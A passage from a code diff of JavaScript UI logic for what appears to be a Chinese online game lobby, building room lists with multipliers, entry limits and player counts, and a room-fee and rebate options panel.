ifast_addtospritefromspritecopy(ConstVal.worldRoom.f_sp_1,ConstVal.worldRoom.top_sp_1, + //0, + //ConstVal.worldRoom.top_sp_y_1+Math.floor(i/2)*ConstVal.worldRoom.bgSpaceY,i+ConstVal.worldRoom.top_sp_tag_1 + //); + //var top_info = GameData.worldRoomSys[i].title; + //set_self(top_id,7,top_info,0,0); + //set_self(top_id,18,get_self(bg_id,18,0,0,0) + get_self(bg_id,20,0,0,0)/2-top_info.gblen()*ConstVal.worldRoom.top_sp_width_1/2,0,0); + //}else{ + //var topImg = ifast_addtospritefromspritecopy(ConstVal.worldRoom.f_sp_1,ConstVal.worldRoom.topImg_sp, + //0, + //ConstVal.worldRoom.topImg_y+Math.floor(i/2)*ConstVal.worldRoom.bgSpaceY,i+ConstVal.worldRoom.topImg_tag + //); + //set_self(topImg,1,ConstVal.worldRoom.imgList[i],0,0); + //set_self(topImg,18,get_self(bg_id,18,0,0,0) +get_self(bg_id,20,0,0,0)/2 - get_self(topImg,20,0,0,0)/2,0,0); + //} + + + var mTemp = Game_Modify.getMult(GameData.worldRoomSys[i].roomtype, 1); + var mult_text = 0; + mTemp <= 0 ? mult_text = 1 : mult_text = mTemp; + + //if(mTemp <= 0){ + //mult_text = GameData.worldRoomSys[i].title; + //}else{ + //mult_text = GameData.worldRoomSys[i].title+" "+mTemp+"倍"; + //} + //var mult_x = get_self(ConstVal.worldRoom.bg_sp_1,20,0,0,0)/2 - mult_text.gblen()*ConstVal.worldRoom.mult_sp_w_1/2; + //var mult_id = ifast_addtospritefromspritecopy(ConstVal.worldRoom.f_sp_1,ConstVal.worldRoom.mult_sp_1, + //mult_x+(i%2)*ConstVal.worldRoom.bgSpaceX, + //ConstVal.worldRoom.mult_sp_y_1+Math.floor(i/2)*ConstVal.worldRoom.bgSpaceY,i+ConstVal.worldRoom.mult_sp_tag_1 + //); + //set_self(mult_id,7,mult_text,0,0); + var mx = get_self(bg_id, 18, 0, 0, 0) + get_self(bg_id, 20, 0, 0, 0) / 2 - (get_self(ConstVal.worldRoom.multIcon_sp, 20, 0, 0, 0) + String(mult_text).length * ConstVal.worldRoom.multImgWidth + ConstVal.worldRoom.multIconImgSpace) / 2; + var multIcon = ifast_addtospritefromspritecopy(ConstVal.worldRoom.f_sp_1, ConstVal.worldRoom.multIcon_sp, + get_self(bg_id, 18, 0, 0, 0) + get_self(bg_id, 20, 0, 0, 0) / 2 - get_self(ConstVal.worldRoom.multIcon_sp, 20, 0, 0, 0) / 2, + ConstVal.worldRoom.multIcon_y + Math.floor(i / 2) * ConstVal.worldRoom.bgSpaceY, i + ConstVal.worldRoom.multIcon_tag); + var multImg = ifast_addtospritefromspritecopy(ConstVal.worldRoom.f_sp_1, ConstVal.worldRoom.multImg_sp, 0, + ConstVal.worldRoom.multImg_y + Math.floor(i / 2) * ConstVal.worldRoom.bgSpaceY, i + ConstVal.worldRoom.multImg_tag); + set_self(multImg, 7, mult_text, 0, 0); + set_self(multImg, 20, String(mult_text).length * ConstVal.worldRoom.multImgWidth, 0, 0); + set_self(multImg, 18, 25 + get_self(multIcon, 18, 0, 0, 0) + get_self(multIcon, 20, 0, 0, 0) / 2 - get_self(multImg, 20, 0, 0, 0) / 2, 0, 0); + + //房间信息描述 + //var des_id = ifast_addtospritefromspritecopy(ConstVal.worldRoom.f_sp_1,ConstVal.worldRoom.des_sp_1, + //ConstVal.worldRoom.des_sp_x_1+i*space_1,ConstVal.worldRoom.des_sp_y_1,i+ConstVal.worldRoom.des_sp_tag_1 + //); + //var des_info = Game_Modify.getRoomInfo(GameData.worldRoomSys[i].roomtype,1); + //set_self(des_id,7,des_info,0,0); + //星星背景 + //var starbg_id = ifast_addtospritefromspritecopy(ConstVal.worldRoom.f_sp_1,ConstVal.worldRoom.starbg_sp_1, + //ConstVal.worldRoom.starbg_sp_x_1+i*space_1,ConstVal.worldRoom.starbg_sp_y_1,i+ConstVal.worldRoom.starbg_sp_tag_1 + //); + //set_self(starbg_id,18,ConstVal.worldRoom.bg_sp_x_1+i*space_1+bg_width_1/2-get_self(ConstVal.worldRoom.starbg_sp_1,20,0,0,0)/2,0,0); + + //星星背景 + //var star_id = ifast_addtospritefromspritecopy(ConstVal.worldRoom.f_sp_1,ConstVal.worldRoom.star_sp_1, + //ConstVal.worldRoom.star_sp_x_1+i*space_1,ConstVal.worldRoom.star_sp_y_1,i+ConstVal.worldRoom.star_sp_tag_1 + //); + //var star_info = "下限:"+Game_Modify.getStarLimit(GameData.worldRoomSys[i].roomtype); + //set_self(star_id,7,star_info,0,0); + //set_self(star_id,18,ConstVal.worldRoom.bg_sp_x_1+i*space_1+bg_width_1/2-star_info.gblen()*ConstVal.worldRoom.top_sp_width_1/2,0,0); + //人数 + if (GameData.worldRoomSys[i].playercount) { + var pCount_id = ifast_addtospritefromspritecopy(ConstVal.worldRoom.f_sp_1, ConstVal.worldRoom.pCount_sp_1, ConstVal.worldRoom.pCount_sp_x_1 + (i % 2) * ConstVal.worldRoom.bgSpaceX, ConstVal.worldRoom.pCount_sp_y_1 + Math.floor(i / 2) * ConstVal.worldRoom.bgSpaceY, i + ConstVal.worldRoom.pCount_sp_tag_1); + set_self(pCount_id, 7, GameUI.convertPlayerCount(GameData.worldRoomSys[i].playercount), 0, 0); + } + + //准入 + var limit_text = String(Game_Modify.getStarLimit(GameData.worldRoomSys[i].roomtype)); + limit_text >= 100000 ? limit_text = Math.floor(limit_text / 10000) + "万" : true; + //var limit_x = ConstVal.worldRoom.join_sp_x_1 - limit_text.gblen()*ConstVal.worldRoom.join_sp_w_1; + var limit_x = ConstVal.worldRoom.join_sp_x_1; + var limit_id = ifast_addtospritefromspritecopy(ConstVal.worldRoom.f_sp_1, ConstVal.worldRoom.join_sp_1, limit_x + (i % 2) * ConstVal.worldRoom.bgSpaceX, ConstVal.worldRoom.join_sp_y_1 + Math.floor(i / 2) * ConstVal.worldRoom.bgSpaceY, i + ConstVal.worldRoom.join_sp_tag_1); + set_self(limit_id, 7, limit_text, 0, 0); + + } + + + //if(GameData.hallConfig.enableQuickEnter){//隐藏快速加入 + //set_self(521,37,0,0,0); + //set_self(3019,18,522,0,0); + //}else{//不隐藏 + //set_self(3019,18,766,0,0); + //set_self(521,18,788,0,0); + //} +} +GameUI.createWorldRoom2 = function() { + GameUI.removeWorldRoom2(); + set_group(96, 37, 0, 0, 0); + set_group(97, 37, 1, 0, 0); + + + set_self(ConstVal.worldRoom.f_sp_2, 18, ConstVal.worldRoom.clip_x_2, 0, 0); + set_self(ConstVal.worldRoom.f_sp_2, 19, ConstVal.worldRoom.clip_y_2, 0, 0); + set_self(ConstVal.worldRoom.top_sp_2, 41, 0, 0, 0); + set_self(ConstVal.worldRoom.des_sp_2, 41, 0, 0, 0); + set_self(ConstVal.worldRoom.starbg_sp_2, 41, 0, 0, 0); + set_self(ConstVal.worldRoom.star_sp_2, 41, 0, 0, 0); + + var bg_width_2 = get_self(ConstVal.worldRoom.bg_sp_2, 20, 0, 0); + var bg_height_2 = get_self(ConstVal.worldRoom.bg_sp_2, 21, 0, 0); + var space_2 = ConstVal.worldRoom.bg_sp_space_2 + bg_height_2; + //ConstVal.worldRoom.clip_h_2 = 3*(ConstVal.worldRoom.bg_sp_space_2 + bg_height_2); + set_self(ConstVal.worldRoom.f_sp_2, 20, bg_width_2, 0); + set_self(ConstVal.worldRoom.f_sp_2, 21, (bg_height_2 + ConstVal.worldRoom.bg_sp_space_2) * GameData.worldRoomPly.length, 0); + var listLength = GameData.worldRoomPly.length; + var pCountTag = ConstVal.worldRoom.pCount_sp_tag_2; + var pCountW = get_self(ConstVal.worldRoom.pCount_sp_2, 20, 0, 0, 0); + var pCountX = get_self(ConstVal.worldRoom.pCountIcon_sp_2, 20, 0, 0, 0) + ConstVal.worldRoom.pCountIcon_pCount_space_2 + ConstVal.worldRoom.pCountIcon_sp_x_2; + for (var i = 0; i < GameData.worldRoomPly.length; i++) { //玩家房间 + //大背景 + var bg_id = ifast_addtospritefromspritecopy(ConstVal.worldRoom.f_sp_2, ConstVal.worldRoom.bg_sp_2, ConstVal.worldRoom.bg_sp_x_2, ConstVal.worldRoom.bg_sp_y_2 + i * space_2, i + ConstVal.worldRoom.bg_sp_tag_2); + + //倍数 + var mult_text = "倍数:"; + var mTemp = Game_Modify.getMult(GameData.worldRoomPly[i].roomtype, 2); + if (mTemp <= 0) { + mult_text += "1"; + } else { + mult_text += mTemp; + } + //房间标题 + var titleTxt = GameData.worldRoomPly[i].destwo; + if (GameData.worldRoomPly[i].shareType) { + if (!titleTxt) { + titleTxt = "vip赛事"; + } + } else { + titleTxt = "普通房间"; + } + var title_id = ifast_addtospritefromspritecopy(ConstVal.worldRoom.f_sp_2, ConstVal.worldRoom.title_sp, ConstVal.worldRoom.title_sp_x, ConstVal.worldRoom.title_sp_y + i * space_2, i + ConstVal.worldRoom.title_tag); + set_self(title_id, 7, titleTxt, 0, 0); + var mult_id = ifast_addtospritefromspritecopy(ConstVal.worldRoom.f_sp_2, ConstVal.worldRoom.mult_sp_2, ConstVal.worldRoom.mult_sp_x_2, ConstVal.worldRoom.mult_sp_y_2 + i * space_2, i + ConstVal.worldRoom.mult_sp_tag_2); + set_self(mult_id, 7, mult_text, 0, 0); + //房间信息描述 + var des_id = ifast_addtospritefromspritecopy(ConstVal.worldRoom.f_sp_2, ConstVal.worldRoom.des_sp_2, ConstVal.worldRoom.des_sp_x_2, ConstVal.worldRoom.des_sp_y_2 + i * space_2, i + ConstVal.worldRoom.des_sp_tag_2); + var des_info = Game_Modify.getRoomInfo(GameData.worldRoomPly[i].roomtype, 2, GameData.worldRoomPly[i].tea); + des_info = min_replaceAll(des_info, "\n", "", false); + //des_info = Func.subString(des_info,46,true); + set_self(des_id, 7, des_info, 0, 0); + //离场 + var leave_text = "离场:"; + var lTemp = Game_Modify.getLeaveLimit(GameData.worldRoomPly[i].roomtype); + + lTemp > 0 ? leave_text += lTemp : leave_text = ""; + var leaveX = ConstVal.worldRoom.leave_sp_x_2 - ConstVal.worldRoom.leave_sp_w_2 * leave_text.gblen(); + //入场 + var join_text = "入场:"; + var lTemp = Game_Modify.getStarLimit(GameData.worldRoomPly[i].roomtype); + + lTemp > 0 ? join_text += lTemp : join_text = ""; + var joinX = ConstVal.worldRoom.join_sp_x_2 - ConstVal.worldRoom.join_sp_w_2 * join_text.gblen(); + var limitX = 0; + leaveX < joinX ? limitX = leaveX : limitX = joinX; + var leave_id = ifast_addtospritefromspritecopy(ConstVal.worldRoom.f_sp_2, ConstVal.worldRoom.leave_sp_2, limitX, ConstVal.worldRoom.leave_sp_y_2 + i * space_2, i + ConstVal.worldRoom.leave_sp_tag_2); + set_self(leave_id, 7, leave_text, 0, 0); + + + var join_id = ifast_addtospritefromspritecopy(ConstVal.worldRoom.f_sp_2, ConstVal.worldRoom.join_sp_2, limitX, ConstVal.worldRoom.join_sp_y_2 + i * space_2, i + ConstVal.worldRoom.join_sp_tag_2); + set_self(join_id, 7, join_text, 0, 0); + //房间号 + var roomcode_id = ifast_addtospritefromspritecopy(ConstVal.worldRoom.f_sp_2, ConstVal.worldRoom.roomCode_sp_2, ConstVal.worldRoom.roomCode_sp_x_2, ConstVal.worldRoom.roomCode_sp_y_2 + i * space_2, i + ConstVal.worldRoom.roomCode_sp_tag_2); + set_self(roomcode_id, 20, String(GameData.worldRoomPly[i].roomcode).length * ConstVal.worldRoom.roomCode_sp_w_2, 0, 0); + set_self(roomcode_id, 7, GameData.worldRoomPly[i].roomcode, 0, 0); + if (GameData.worldRoomPly[i].seatcount) { + //人数icon + var pCountIcon_id = ifast_addtospritefromspritecopy(ConstVal.worldRoom.f_sp_2, ConstVal.worldRoom.pCountIcon_sp_2, ConstVal.worldRoom.pCountIcon_sp_x_2, ConstVal.worldRoom.pCountIcon_sp_y_2 + i * space_2, i + ConstVal.worldRoom.pCountIcon_sp_tag_2); + //人数显示 + for (j = 0; j < GameData.worldRoomPly[i].seatcount; j++) { + + var pCount_id = ifast_addtospritefromspritecopy(ConstVal.worldRoom.f_sp_2, ConstVal.worldRoom.pCount_sp_2, pCountX + j * (ConstVal.worldRoom.pCount_space_2 + pCountW), ConstVal.worldRoom.pCount_sp_y_2 + i * space_2, pCountTag); + if (GameData.worldRoomPly[i].playercount - 1 >= j) { + set_self(pCount_id, 43, 1, 0, 0, 0); + } else { + set_self(pCount_id, 43, 2, 0, 0, 0); + } + pCountTag++; + } + } + } +} + +//删除星星争霸场数据包括创建的精灵 +GameUI.removeWorldRoom1 = function() { + for (var i = 0; i < GameData.worldRoomSys.length; i++) { //系统房间 + //大背景 + ifast_dllpritefromspritecopy(ConstVal.worldRoom.f_sp_1, i + ConstVal.worldRoom.bg_sp_tag_1); + //顶栏描述 + ifast_dllpritefromspritecopy(ConstVal.worldRoom.f_sp_1, i + ConstVal.worldRoom.top_sp_tag_1); + //房间信息描述 + ifast_dllpritefromspritecopy(ConstVal.worldRoom.f_sp_1,i+ConstVal.worldRoom.topImg_tag); + //星星背景 + ifast_dllpritefromspritecopy(ConstVal.worldRoom.f_sp_1,i+ConstVal.worldRoom.multIcon_tag); + + // + ifast_dllpritefromspritecopy(ConstVal.worldRoom.f_sp_1,i+ConstVal.worldRoom.multImg_tag); + //倍数 + ifast_dllpritefromspritecopy(ConstVal.worldRoom.f_sp_1, i + ConstVal.worldRoom.mult_sp_tag_1); + //人数 + ifast_dllpritefromspritecopy(ConstVal.worldRoom.f_sp_1, i + ConstVal.worldRoom.pCount_sp_tag_1); + //准入 + ifast_dllpritefromspritecopy(ConstVal.worldRoom.f_sp_1, i + ConstVal.worldRoom.join_sp_tag_1); + } + return; + var pCountTag = ConstVal.worldRoom.pCount_sp_tag_2; + for (var i = 0; i < GameData.worldRoomPly.length; i++) { //玩家房间 + //大背景 + ifast_dllpritefromspritecopy(ConstVal.worldRoom.f_sp_2, i + ConstVal.worldRoom.bg_sp_tag_2); + //顶栏描述 + //ifast_dllpritefromspritecopy(ConstVal.worldRoom.f_sp_2,i+ConstVal.worldRoom.top_sp_tag_2); + //房间信息描述 + ifast_dllpritefromspritecopy(ConstVal.worldRoom.f_sp_2, i + ConstVal.worldRoom.des_sp_tag_2); + //星星背景 + //ifast_dllpritefromspritecopy(ConstVal.worldRoom.f_sp_2,i+ConstVal.worldRoom.starbg_sp_tag_2); + //星星背景 + //ifast_dllpritefromspritecopy(ConstVal.worldRoom.f_sp_2,i+ConstVal.worldRoom.star_sp_tag_2); + //倍数 + ifast_dllpritefromspritecopy(ConstVal.worldRoom.f_sp_2, i + ConstVal.worldRoom.mult_sp_tag_2); + if (GameData.worldRoomPly[i].seatcount) { + for (var j = 0; j < GameData.worldRoomPly[i].seatcount; j++) { + //人数 + ifast_dllpritefromspritecopy(ConstVal.worldRoom.f_sp_2, pCountTag); + pCountTag++; + } + } + //准入 + ifast_dllpritefromspritecopy(ConstVal.worldRoom.f_sp_2, i + ConstVal.worldRoom.join_sp_tag_2); + //人数icon + ifast_dllpritefromspritecopy(ConstVal.worldRoom.f_sp_2, i + ConstVal.worldRoom.pCountIcon_sp_tag_2); + //离场 + ifast_dllpritefromspritecopy(ConstVal.worldRoom.f_sp_2, i + ConstVal.worldRoom.leave_sp_tag_2); + //房间号 + ifast_dllpritefromspritecopy(ConstVal.worldRoom.f_sp_2, i + ConstVal.worldRoom.roomCode_sp_tag_2); + } + //GameData.worldRoomSys=[]; + +} +//删除星星争霸场数据包括创建的精灵 +GameUI.removeWorldRoom2 = function() { + + var pCountTag = ConstVal.worldRoom.pCount_sp_tag_2; + for (var i = 0; i < GameData.worldRoomPly.length; i++) { //玩家房间 + //大背景 + ifast_dllpritefromspritecopy(ConstVal.worldRoom.f_sp_2, i + ConstVal.worldRoom.bg_sp_tag_2); + //顶栏描述 + ifast_dllpritefromspritecopy(ConstVal.worldRoom.f_sp_2, i + ConstVal.worldRoom.title_tag); + //房间信息描述 + ifast_dllpritefromspritecopy(ConstVal.worldRoom.f_sp_2, i + ConstVal.worldRoom.des_sp_tag_2); + //星星背景 + //ifast_dllpritefromspritecopy(ConstVal.worldRoom.f_sp_2,i+ConstVal.worldRoom.starbg_sp_tag_2); + //星星背景 + //ifast_dllpritefromspritecopy(ConstVal.worldRoom.f_sp_2,i+ConstVal.worldRoom.star_sp_tag_2); + //倍数 + ifast_dllpritefromspritecopy(ConstVal.worldRoom.f_sp_2, i + ConstVal.worldRoom.mult_sp_tag_2); + if (GameData.worldRoomPly[i].seatcount) { + for (var j = 0; j < GameData.worldRoomPly[i].seatcount; j++) { + //人数 + ifast_dllpritefromspritecopy(ConstVal.worldRoom.f_sp_2, pCountTag); + pCountTag++; + } + } + //准入 + ifast_dllpritefromspritecopy(ConstVal.worldRoom.f_sp_2, i + ConstVal.worldRoom.join_sp_tag_2); + //人数icon + ifast_dllpritefromspritecopy(ConstVal.worldRoom.f_sp_2, i + ConstVal.worldRoom.pCountIcon_sp_tag_2); + //离场 + ifast_dllpritefromspritecopy(ConstVal.worldRoom.f_sp_2, i + ConstVal.worldRoom.leave_sp_tag_2); + //房间号 + ifast_dllpritefromspritecopy(ConstVal.worldRoom.f_sp_2, i + ConstVal.worldRoom.roomCode_sp_tag_2); + } + //GameData.worldRoomPly=[]; +} +GameUI.switchSnrVideo = function(bTemp) { + if (bTemp) { + set_self(3133, 43, 1, 0, 0); + } else { + set_self(3133, 43, 2, 0, 0); + } +} +GameUI.updateCloseState = function() { + if (GameData.snrRoomList.isClose == 0) { + set_self(3136, 37, 0, 0, 0); + set_self(3164, 43, 1, 0, 0); + } else if (GameData.snrRoomList.isClose == 1) { + set_self(3136, 37, 0, 0, 0); + set_self(3164, 43, 2, 0, 0); + } else { + set_self(3163, 37, 0, 0, 0); + set_self(3164, 37, 0, 0, 0); + } +} +GameUI.clickSnrRoomState = function() { + if (GameData.snrRoomList.isClose) { + GameData.senRoomState = 0; + } else { + GameData.senRoomState = 1; + } + //GameUI.updateCloseState(); + var data = {}; + data.agentid = GameData.AgentId; + data.gameid = GameData.GameId; + data.playerid = C_Player.playerid; + data.isClose = GameData.senRoomState; + Net.Send_switchRoomList(data); +} +GameUI.clickSnrVideo = function() { + if (GameData.sysConfig.videoConfig) { + if (GameUI.Mem.snrOption.videoConfig) { + GameUI.Mem.snrOption.videoConfig = null; + GameUI.switchSnrVideo(false); + } else { + GameUI.Mem.snrOption.videoConfig = GameData.sysConfig.videoConfig; + GameUI.switchSnrVideo(true); + } + } +} +GameUI.clickSnrFobid = function() { + //if (GameData.sysConfig.videoConfig) { + if (GameUI.Mem.snrOption.forbidSelect) { + GameUI.Mem.snrOption.forbidSelect = 0; + //GameUI.switchSnrForbid(); + GameUI.updateFobidSelect(); + } else { + GameUI.Mem.snrOption.forbidSelect = 1; + //GameUI.switchSnrForbid(); + GameUI.updateFobidSelect(); + } + //} +} +GameUI.updateFobidSelect = function() { + if(GameData.snrRoomList.roomlist.length == 0){ + set_self(3257, 37, 0, 0, 0); + set_self(3258, 37, 0, 0, 0); + return; + } + if (GameData.snrRoomList.forbidSelect == 0) { + set_self(3257, 37, 1, 0, 0); + set_self(3258, 37, 1, 0, 0); + set_self(3258, 43, 2, 0, 0); + } else if(GameData.snrRoomList.forbidSelect == 1){ + set_self(3257, 37, 1, 0, 0); + set_self(3258, 37, 1, 0, 0); + set_self(3258, 43, 1, 0, 0); + } +} +GameUI.switchSnrForbid = function(){ + if(GameUI.Mem.snrOption.forbidSelect){ + set_self(3258,43,1,0,0); + }else{ + set_self(3258,43,2,0,0); + } +} +//打开高级选项 +GameUI.openSeniorOptions = function(mode, roomtype, descrip, _profit) { //是否为星星场 + //console.log(Desk); + var _mode = 0; + //mode = 1; + GameData.snrOption = { + profit: 0, + roomcode: "", + }; + var limit = Game_Modify.getStarLimit(roomtype); + var mult = Game_Modify.getMult(roomtype, 0); + GameUI.Mem.snrOption.infinite = 0; + GameUI.Mem.snrOption.max = 9999999; + //GameUI.Mem.snrOption.max = Number(GameData.hallConfig.max)*mult; + GameUI.Mem.snrOption.min = 0; + GameUI.Mem.snrOption.sysRebate = parseInt(mult * GameData.sysConfig.rebateConfig.value / 100); + //if(GameData.snrRoomList.forbidSelect){ + //GameUI.Mem.snrOption.forbidSelect = 1; + //}else{ + //GameUI.Mem.snrOption.forbidSelect = 0; + //} + + if (Game_Config.sysConfig.vipInfinite) { + GameUI.Mem.snrOption.sysRebate = 0; + } + if(!Game_Modify.getRoomMode(roomtype)){ + GameUI.Mem.snrOption.sysRebate = 0; + } + //GameUI.Mem.snrOption.min = parseInt(mult * GameData.sysConfig.rebateConfig.value / 100); + //GameUI.Mem.snrOption.unit = Number(GameData.hallConfig.unit) * mult; + //GameUI.Mem.snrOption.max == 0 ? _mode = 1 : _mode = 0; + //set_self(599,7,"玩家可通过输入短号快速加入房间",0); + //set_self(3015,7,"更改已存在房间,房间类型会在牌局结束或者房间解散后更新",0); + //set_self(3101,7,"是否为无限局",0); + set_self(628, 7, descrip, 0, 0); + GameData.snrOption.profit < GameUI.Mem.snrOption.min ? GameData.snrOption.profit = GameUI.Mem.snrOption.min : (GameData.snrOption.profit > GameUI.Mem.snrOption.max ? GameData.snrOption.profit = GameUI.Mem.snrOption.max : true); + GameUI.Mem.snrOption.slider = get_self(597, 20, 0, 0, 0); + GameUI.Mem.snrOption.start_x = get_self(596, 18, 0, 0, 0); + GameUI.Mem.snrOption.end_x = get_self(596, 20, 0, 0, 0) + GameUI.Mem.snrOption.start_x - GameUI.Mem.snrOption.slider; + GameUI.Mem.snrOption.unit_px = (get_self(596, 20, 0, 0, 0) - GameUI.Mem.snrOption.slider) / ((GameUI.Mem.snrOption.max - GameUI.Mem.snrOption.min) / GameUI.Mem.snrOption.unit); + GameUI.Mem.snrOption.count = Math.round((GameUI.Mem.snrOption.end_x - GameUI.Mem.snrOption.start_x) / GameUI.Mem.snrOption.unit_px); + //set_self(597,18,GameUI.Mem.snrOption.start_x+((GameData.snrOption.profit - GameUI.Mem.snrOption.min)/GameUI.Mem.snrOption.unit)*GameUI.Mem.snrOption.unit_px,0,0); + + //set_self(593,20,GameUI.Mem.snrOption.number_1*String(GameData.snrOption.profit).length,0,0); + //set_self(593,7,GameData.snrOption.profit,0,0); + //set_self(593,18,get_self(597,18,0,0,0)+35-GameUI.Mem.snrOption.number_1*String(GameData.snrOption.profit).length/2,0,0); + + //set_self(594,20,GameUI.Mem.snrOption.number_2*String(GameUI.Mem.snrOption.min).length,0,0); + //set_self(594,7,GameUI.Mem.snrOption.min,0,0); + //set_self(594,18,GameUI.Mem.snrOption.start_x - get_self(594,20,0,0,0) -10,0,0); + + //set_self(595,20,GameUI.Mem.snrOption.number_2*String(GameUI.Mem.snrOption.max).length,0,0); + //set_self(595,7,GameUI.Mem.snrOption.max,0,0); + var shortcode = ""; + if (GameData.snrRoomList.shortcode) { + shortcode = GameData.snrRoomList.shortcode; + } + set_self(598, 20, GameUI.Mem.snrOption.number_1 * String(shortcode).length, 0, 0); + set_self(598, 7, shortcode, 0, 0); + //GameUI.Mem.snrOption.roomcode_string = String(GameData.snrOption.roomcode); + //GameUI.Mem.snrOption.roomcode_number = Number(GameData.snrOption.roomcode); + + + + //GameUI.Mem.snrOption.number = GameData.snrOption.profit; + + set_group(83, 37, 1, 0, 0); + GameUI.clearSnrOptionRoomList(); + GameUI.createSnrOptionRoomList(); + //set_self(610,37,0,0,0); + if (GameData.sysConfig.videoConfig) { + //GameUI.Mem.snrOption.videoConfig = GameData.sysConfig.videoConfig; + GameUI.Mem.snrOption.videoConfig = null; + GameUI.switchSnrVideo(false); + set_self(3133, 41, 2, 0, 0); + var vConfig = Logic.alyVideoConfig(GameData.sysConfig.videoConfig); + set_self(3134, 7, "将收取" + vConfig[0] + ":" + vConfig[1]); + + } else { + GameUI.Mem.snrOption.videoConfig = null; + //不可点 + //GameUI.switchSnrVideo(false); + //set_self(3133,41,0,0,0); + //set_self(3134,7,"此功能暂未开放",0,0); + + //隐藏 + set_self(592, 37, 0, 0, 0); + set_self(3133, 37, 0, 0, 0); + set_self(3134, 37, 0, 0, 0); + } + + //GameUI.switchSnrForbid(); + //if(mode){ + set_self(3100, 37, 0, 0, 0); + set_self(3132, 37, 0, 0, 0); + //} + if (_mode) { //隐藏输入 + //set_self(580,37,0,0,0);//短号费说明文字 + set_self(593, 37, 0, 0, 0); + set_self(594, 37, 0, 0, 0); + set_self(596, 37, 0, 0, 0); + set_self(597, 37, 0, 0, 0); + set_self(595, 37, 0, 0, 0); + + //set_self(3097,37,0,0,0);//输入底框 + set_self(3098, 37, 0, 0, 0); //说明文字 + set_self(3099, 37, 0, 0, 0); //输入数字 + set_self(3097, 41, 0, 0, 0); + } else { + set_self(3130, 37, 0, 0, 0); + + //if(_profit){ + //GameUI.Mem.snrOption.number = _profit; + //GameUI.setNumberImage(3099,_profit,28); + //GameUI.adaptPositionX(3099,get_self(3097,18,0,0,0)+get_self(3097,20,0,0,0)/2); + //}else{ + //GameUI.Mem.snrOption.number = GameUI.Mem.snrOption.min; + // try{ + // limit = Number(limit); + // mult = Number(mult); + //}catch(e){ + // limit = 0; + // mult = 0; + //} + //if(limit > 0 && mult > 0){ + set_self(3158, 37, 0, 0, 0); + set_self(3197, 41, 1, 0, 0); + //set_self(3098, 7, "(" + GameUI.Mem.snrOption.min + "~" + GameUI.Mem.snrOption.max + ")"); + + + //var value = GameUI.Mem.snrOption.tea; + var value = 0; + if (!value) { + if (GameUI.Mem.snrOption.tea) { + value = GameUI.Mem.snrOption.tea; + } else { + value = 0; + GameUI.Mem.snrOption.tea = 0; + } + } + var vl = Number(value); + if (Number(value) < GameUI.Mem.snrOption.min) { + vl = GameUI.Mem.snrOption.min; + } else { + if (Number(value) > GameUI.Mem.snrOption.max) { + vl = GameUI.Mem.snrOption.max; + } + } + GameUI.Mem.snrOption.number = vl; + GameUI.setNumberImage(3099, vl, 18); + GameUI.adaptPositionX(3099, get_self(3097, 18, 0, 0, 0) + get_self(3097, 20, 0, 0, 0) / 2); + var rCount = vl + GameUI.Mem.snrOption.sysRebate; + set_self(3098, 7, "系统收取: "+GameUI.Mem.snrOption.sysRebate+"\n您加收: "+vl+"\n合计: "+rCount); + // }else{ + // set_self(3099,37,0,0,0); + // set_self(3098,37,0,0,0); + // set_self(3158,37,1,0,0); + //} + //} + } + var val = Utl.ReadData(Utl.Config.rebateLimit); + set_self(3239,7,"低于免收值将不收取房间费",0,0); + GameUI.setNumberImage(3237, val, 18); + GameUI.adaptPositionSpid(3237,3236); + console.log(GameData.rebateConfig); + if(GameData.rebateConfig){ + if(GameData.rebateConfig.from == 3 && Game_Modify.getRoomMode(roomtype)){ + set_self(3238,37,0,0,0); + set_self(3236,37,0,0,0); + set_self(3237,37,0,0,0); + set_self(3239,37,0,0,0); + } + } + //金币场 + //if(mode){ + + //}else{ + + //} + //百人 + if (Game_Config.sysConfig.vipInfinite) { + set_self(653, 37, 0, 0, 0); + } + if (!GameData.sysConfig.managerUrl) { + set_self(3140, 37, 0, 0, 0); + } + set_self(3089, 18, 464, 0, 0, 0); + +/* + if(Game_Config.sysConfig.vipInfinite){ + set_self(3130,37,0,0,0); + set_self(3099,37,0,0,0); + set_self(3097,37,0,0,0); + set_self(580,37,0,0,0); + set_self(3158,37,0,0,0); + var txt = Logic.getRebateDes(mult); + set_self(3098,7,"系统每小局对每个玩家收取"+GameData.starName+":"+txt); + set_self(3098,18,186,0,0,0); + set_self(3098,37,1,0,0); + } + */ + set_self(3166, 37, 0, 0, 0); + //set_self(3167,37,0,0,0); + //set_self(3168,37,0,0,0); + set_self(3169, 37, 0, 0, 0); + set_self(3168, 7, GameData.starName, 0, 0); + set_self(3169, 7, GameData.sysConfig.charmName, 0, 0); + //GameUI.Mem.snrOption.rebateType = 0; + var isBean = 0; + if (Game_Modify.getRoomMode) { + isBean = Game_Modify.getRoomMode(GameData.snrOptionRoomtype); + } + var cTemp = true; + //if(!Game_Config.sysConfig.vipInfinite){ + if (!isBean) { + if (GameData.rebateConfig) { + if (GameData.rebateConfig.rebateCharm) { + set_self(3166, 37, 1, 0, 0); + //set_self(3167,37,1,0,0); + //set_self(3168,37,1,0,0); + set_self(3169, 37, 1, 0, 0); + cTemp = false; + } + } + } + //} + if (cTemp) { + GameUI.Mem.snrOption.rebateType = 0; + } + if (Game_Config.sysConfig.vipInfinite && GameData.brNumber) { + set_self(3134, 37, 1, 0, 0); + set_self(3134, 18, 190, 0, 0); + if(GameData.brRebateUnit){ + if(GameData.brRebateUnit >= 10000){ + var txt = "每小局将收取您" + GameData.starName + ":" + GameData.brNumber; + }else{ + var txt = "每小局每"+GameData.brRebateUnit+"人收取您" + GameData.starName + ":" + GameData.brNumber; + } + }else{ + var txt = "每小局将收取您" + GameData.starName + ":" + GameData.brNumber; + } + set_self(3134, 7, txt, 0, 0); + } + GameUI.updateCloseState(); + GameUI.updateFobidSelect(); + +} + +var snrInputCallback = function(value) { + Utl.closeInputPanel(); + var vl = Number(value); + if (Number(value) < GameUI.Mem.snrOption.min) { + GameUI.OpenTips("输入低于最小,已变更为最小值", ConstVal.Tips.time); + vl = GameUI.Mem.snrOption.min; + } else { + if (Number(value) > GameUI.Mem.snrOption.max) { + GameUI.OpenTips("输入高于最大,已变更为最大值", ConstVal.Tips.time); + vl = GameUI.Mem.snrOption.max; + } + } + GameUI.Mem.snrOption.number = vl; + Logic.saveTea(vl); + GameUI.Mem.snrOption.tea = vl; + GameUI.setNumberImage(3099, vl, 18); + GameUI.adaptPositionX(3099, get_self(3097, 18, 0, 0, 0) + get_self(3097, 20, 0, 0, 0) / 2); + var rCount = vl + GameUI.Mem.snrOption.sysRebate; + set_self(3098, 7, "系统收取: 